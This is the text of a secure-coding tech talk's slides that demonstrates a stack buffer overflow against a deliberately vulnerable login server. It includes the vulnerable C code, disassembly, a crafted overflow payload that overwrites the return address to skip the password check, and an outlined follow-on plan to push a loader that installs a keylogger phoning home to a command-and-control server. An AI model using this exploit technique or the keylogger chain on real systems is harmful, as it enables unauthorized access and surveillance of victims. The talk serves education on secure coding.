: A necessary step in writing secure code is having an understanding of how vulnerable code can be exploited. This step is critical because unless you see the software from the vantage point of a hacker, what may look to be safe and harmless code, can have multiple vulnerabilities that result in systems running that software getting p0wned. The goal of this tech talk is to provide a step-by-step illustration of how not adhering to secure software design principles such as properly bounds checking buffers can open up computing devices to exploitation. Specifically, we will show that by using a very easy to use scripting language like python, we can do the following: 1) Smash the stack of a system running vulnerable code to gain arbitrary access. 2) Install a key logger that can phone home to a command and control server.
3. Outline
Motivation:Why talk about the offensive side?
Objectives ofTalk
Review
The Stack
Secure Coding
ModernOS exploit mitigation techniques
Smashing the Stack
Exploiting the Smash
Conclusion
4. Motivation:Why talk offensive cyber?
Shouldn’t we be talking about how to write secure code?
Key Concept: A necessary step in writing secure code is having an
understanding of how vulnerable code can be exploited
Corollary: Seeing software through the eyes of a hacker can
provide valuable insights that can expose hidden exploits
5. Motivation:Why talk offensive cyber?
Offensive cyber is driving the defense
More resources/research goes into offensive cyber because
offense is cheaper and glamorous than defense
Being on the offensive cyber frontier can help defenders develop
techniques before a new attack can cause significant damage
6. Objectives ofTalk
Provide a step-by-step illustration of how not adhering to secure
software design principles can lead to exploitation
Demonstrate how an attacker can develop powerful exploit code
very quickly using a scripting language like python
8. Review:The Stack
Stack: Supports program execution by maintaining automatic process –
state data
Example: Return address of the calling function (See following slides)
Caption: Process Memory Organization
9. Review:The Stack
EIP : Register in the processor that stores the address of the next
instruction to be executed
ESP : Register in the processor that stores pointer to the stack
(ESP=0xb20000)
v
int main()
{
char * message = “Hello World”;
foo();
exit(0);
}
EIP
……………….
……………
…………………..
……
0xb20000
Stack
0xb1fffc
ESP
10. Review:The Stack
When main() calls foo(), the return address of the next
instruction to be executed after foo() is completed is pushed on
to the stack
Note: Stack pointer is decremented before the push()
v
int main()
{
char * message = “Hello World”;
foo();
exit(0);
}
EIP
……………….
Return addrCaller – main (4 bytes)
…………………..
……
0xb20000
Stack
0xb1fffcESP
11. Review:The Stack
Once foo() has completed, the stack is popped to retrieve the
address of next instruction to be executed
During the pop(), the stack pointer is incremented
v
int main()
{
char * message = “Hello World”;
foo();
exit(0);
}
EIP
……………….
Return addrCaller – main (4 bytes)
…………………..
……
0xb20000
Stack
0xb1fffc
ESP
13. Review: Secure Coding
Most production server code and OSs written in C/C++
The genius/curse of C/C++
Trust the programmer
Don’t prevent the programming from doing what needs to be
done
Make it fast, even if it is not guaranteed to be portable
How does this translate to security and safety?
It doesn’t…..
14. Review: Secure Coding
Best practices for secure C/C++ development
compiled by Robert C. Seacord
Based on common mistakes that
inexperienced and professional software
developers make
Should be a mandatory reading for any
aspiring C/C++ programmer
15. Review: Secure Coding
Most recent and famous common mistakes
Heartbleed was the result of the following poor practices:
Improper bounds checking (Trusting user to provide the correct length of
the message)
Not clearing dynamically allocated memory that would be accessed by end
user (calloc vs malloc)
17. Review: Secure Coding (Heartbleed xkcd)
Attacker can send 1kb of data, but specify payload to be 64kb
Key Point: Length of buffer should not be controlled by the
end user
v
/* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload,bp);
memcpy(bp, p1, payload);pl, payload);
AttackerControlled the
data (p1) and the length
of payload (payload)
19. Review: Modern OS Mitigation
Techniques
Address Space Layout Randomization (ASLR)
Randomly offsets position in memory of key data structures
The exploit(s) cannot rely on knowing where certain code is located in memory
Data Execution Prevention (DEP)
Prevent executable code from running in the stack/heap segments
Hardware support from CPUs with the No-Execute (NX) bit
Bypassing ASLR and DEP w/ Return-oriented Programming
Exploit code returns to sequences of instructions followed by a return instruction
Useful sequence of instructions is called a gadget
21. Smashing the Stack (Vulnerable Sever)
TheVulnerable Server
Developed for demonstration purposes (No ASLR or stack canaries)
Client connects to server and provides credentials
If the client provides correct ‘admin’ credentials, the user is granted remote
access to the command line as an admin.
Vulnerability:Code fails to properly bounds check buffer.
Can enable a user to gain remote access without proper credentials!!
22. Smashing the Stack (Vulnerable Sever)
validpassword=validatePassword(usercredential_buff,password_len,username_len);
if(validpassword)
{
printf("Determining if user is rootn");
char * username =strtok(usercredential_buff, DELIMETER);
if (strcmp(username,"root")==0)
{
message = "Administrative access to system shell granted.";
send(new_socket , message , strlen(message) , 0);
while(1)
{
message = "Enter command to execute:";
send(new_socket , message , strlen(message) , 0);
//Receiving command
valread= recv( new_socket , command_buff, MAXRECV, 0);
if(valread <=0) {break; }
command_buff[valread] = NULL;
//Executing command
int retval = system(command_buff);
}
}
}
Executes a
command provided
by remote user
Appears that this
region can be
accessed only
with appropriate
credentials
23. Smashing the Stack (Vulnerable
Code)
TheVulnerable Code
Occurs in function validatepassword()
Failure to bounds check a local buffer allocated on stack
Enables the stack to be ‘smashed’ by overwriting the stack with data
supplied by the connecting client
A clever user can overwrite the return address to the caller, i.e. main(), to
jump to desired execution point
24. Smashing the Stack (Vulnerable Code)
v
bool validatePassword(char * usercredential, int password_len, int username_len)
{
char username[100];
char password[100];
//Get username
memcpy(username, usercredential,username_len);
char *p_password = usercredential+ username_len +1;
//Get password
memcpy(password, p_password,password_len);
if(strcmp(username,"root")==0)
{
if (strcmp(password,"route66")==0)
{
return true;
}
}else if (strcmp(username,"someuser")==0)
{
if (strcmp(password,"password")==0)
{
return true;
}
}
return false;
}
No check to make sure that the
password length does not exceed the
local buffer size of ‘100’
Password buffer has
length of 100
25. Smashing the Stack (The steps)
Steps for smashing the stack
1. Determine size of stack in the callee function validatepassword()
2. Figure out where at on the stack the local buffer to store password is
located
3. Determine the desired target address for the function
validatepassword() to return to once it is completed
4. Craft the appropriate shellcode to inject into the password buffer
26. Smashing the Stack (The steps)
1) Determining the size of stack in the callee
function validatepassword()
(NEXT SLIDE)
27. Determining the size of Stack
v
; bool __cdecl validatePassword(char *usercredential, int password_len, int
username_len)
?validatePassword@@YA_NPADHH@Z proc near
password= byte ptr -114h
username= byte ptr -0B0h
p_password= dword ptr -4Ch
var_48= dword ptr -48h
var_44= dword ptr -44h
var_40= dword ptr -40h
……......
var_2= byte ptr -2
var_1= byte ptr -1
usercredential= dword ptr 8
password_len= dword ptr 0Ch
username_len= dword ptr 10h
push ebp
mov ebp, esp
sub esp, 276
mov eax, [ebp+username_len]
push eax ; Size
Assembly instruction that
allocates ‘276’ bytes on the
stack for the current function
28. Smashing the Stack (The steps)
2) Figure out where at on the stack the local buffer
to store password is located
(NEXT SLIDE)
29. v
Figure out position of password buffer
; bool __cdecl validatePassword(char *usercredential, int password_len, int
username_len)
?validatePassword@@YA_NPADHH@Z proc near
password= byte ptr -276
username= byte ptr -176
p_password= dword ptr -4Ch
var_48= dword ptr -48h
var_44= dword ptr -44h
var_40= dword ptr -40h
……......
var_2= byte ptr -2
var_1= byte ptr -1
usercredential= dword ptr 8
password_len= dword ptr 0Ch
username_len= dword ptr 10h
push ebp
mov ebp, esp
sub esp, 276
mov eax, [ebp+username_len]
push eax ; Size
The password buffer is at the
bottom of stack at negative
offset 276 (0x114 276)
……………….
………
Password (100 bytes)
ebp -0
Stack
ebp -4
Username(100 bytes)
ebp -176
ebp -276
...
...
30. Smashing the Stack (The steps)
3) Determine the desired target address for the function
validatepassword() to return to once it is completed
(Next Slide)
31. v
Determining target return address
int main(int argc , char *argv[])
{
10001200 push ebp
.........................................{
printf("Determining if user is rootn");
100014DC push 100022BCh
100014E1 call dword ptr ds:[10002030h]
100014E7 add esp,4
char * username
=strtok(usercredential_buff, DELIMETER);
100014EA push 100022DCh
100014EF lea ecx,[usercredential_buff]
100014F5 push ecx
100014F6 call dword ptr ds:[1000203Ch]
100014FC add esp,8
100014FF mov dword ptr [ebp-7Ch],eax
v
int main(int argc , char *argv[])
{
.........................................
validpassword=validatePassword(……);
if(validpassword)
{
printf("Determining if user rootn");
char * username = strtok(…)
if (strcmp(username,"root")==0)
{
message = "Administrative access to
system shell granted...";
send(new_socket , message ,
strlen(message) , 0);
}
....................
}Jumping to address ‘0x100014EA’
allows us to bypass the if statement
that checks if password is valid
Goal is to bypass
this check
32. Smashing the Stack (The steps)
4) Craft the appropriate shellcode to inject into
the password buffer
(Next Slide)
33. v
Crafting the appropriate shellcode
Recall:We need 276 bytes to fill up stack allocated for validatepass()
We also need to fill another 4 bytes because the callers ebp register is
preserved on stack
The next 4 bytes after that is the return address we want to overwrite
"x89xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff
xffxffxff"xffxffxffxffxffxffxffxffxffxffxffxffxffxff
xffxffxffxffxffxff"xffxffxffxffxffxffxffxffxffxffxff
xffxffxffxffxffxffxffxffxff"xffxffxffxffxffxffxffxff
xffxffxffxffxffxffxffxffxffxffxffxff"xffxffxffxffxff
xffxffxffxffxffxffxffxffxffxffxffxffxffxffxff“xffxffx
ffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxf
f"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxf
fxffxffxff"xffxffxffxffxffxffxffxffxffxffxffxffxffxf
fxffxffxffxffxffxff"xffxffxffxffxffxffxffxffxffxffxff
xffxffxffxffxffxffxffxffxff"xffxffxffxffxffxffxffxff
xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffx
ffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxf
fxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff
xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffx
ffxffxff“xffxffxffxffxffxffxffxffxffxffxffxffxffxffxf
fxffx48xffx12x00xeax14x00x10"
Shellcode
…………….
……………….
Stack
.......
saved ebp
return address
Little endian form of return
address ‘0x100014EA’ that
we want to jump to
276 bytes
34. Crafting the appropriate shellcode
After the smash, the return address is now 0x100014ea
Once validatepassword() returns to main(), execution will
begin at 0x100014ea, which allows us remote admin access
……
Password (100 bytes)
ebp -0h
Stack (before the smash)
Username(100 bytes)ebp -0b0h
ebp -114h
..
..
saved ebp
return address to main()
(0xffffffff)
(0xffffff89)
ebp -0h
Stack (after the smash)
(0xffffffff)ebp -0b0h
ebp -114h
..
..
ebp (0x0012ff48)
return address (0x100014ea)
35. Smashing the Stack (The steps)
The end result of the stack smash
(Next Slide)
36. Smashing the Stack:The Result
We now have remote
admin access to the
command line
Execute a script remotely
to let host know it has
been p0wned
38. Exploiting the Smash w/ Python
Now that we have gained root access, what's next?
We’ll demonstrate how an attacker can use an easy to use scripting language
such as Python to exploit the smash
Violent Python and Black Hat Python are two books that will be referenced
to demonstrate python exploits
39. Exploiting the Smash w/ Python
Specifically, we’ll do the following in this section:
Develop a keylogger based on examples provided in the python books
Setup a simple Command and Control server that will be listening for
our keylogger client to phone home
40. Exploiting the Smash w/ Python: Q&A
It seems that to use python exploits, python would need to be already
installed on the victim?
Not necessary…….There is this nifty tool called Pyinstaller
Pyinstaller can generate a standalone executable that can run on
systems that don’t have python installed. Problem Solved!!
Why are books like these publicly available?
They are very useful for penetration testing, which can demonstrate to
an organization the impact that a vulnerability can have
Increases awareness of techniques hackers use so that appropriate
defense mechanisms and techniques can be developed/implemented
41. Exploiting the Smash:The steps
Steps for exploiting the smash w/ Python
1. Use the command line access to send a loader to the victim
(The loader is responsible for downloading the latest exploit payload to
the victim)
2. Remotely execute the loader to download keylogger to victim
3. Execute the payload remotely, which in this instance is a keylogger
4. Sit back and see what the victim is doing……
42. Exploiting the Smash (Step 1)
1) Use remote command line access to send a
loader script to the victim
(NEXT 2 SLIDES)
43. Sending the loader to victim
Echo loader script over the
command line to victim
server
Successfully uploaded
script to the victim
44. Sending the loader to victim
Echo loader script over the
command line to victim
server
45. Exploiting the Smash (Step 2)
2) Remotely execute the loader to download
keylogger to victim
(NEXT SLIDE)
50. Exploiting the Smash (Step 4)
4) Sit back, relax, and see what the
victim is up to now……
(NEXT 2 SLIDES)
51. See what the ‘client’ is up to…..
Client typing the following in Firefox:
1) www.google.com
2) I think I’ve been p0wned
52. See what the ‘client’ is up to…..
Client typing the following in Firefox:
1) www.google.com
2) I think I’ve been p0wned
53. • Main Takeaway: A necessary step in writing secure code is having an
understanding of how vulnerable code can be exploited
• Read “Secure coding in C/C++”
• Penetration testing is a valuable skill that (with the organizations
approval) can allow you to find vulns before the bad guys do
Conclusion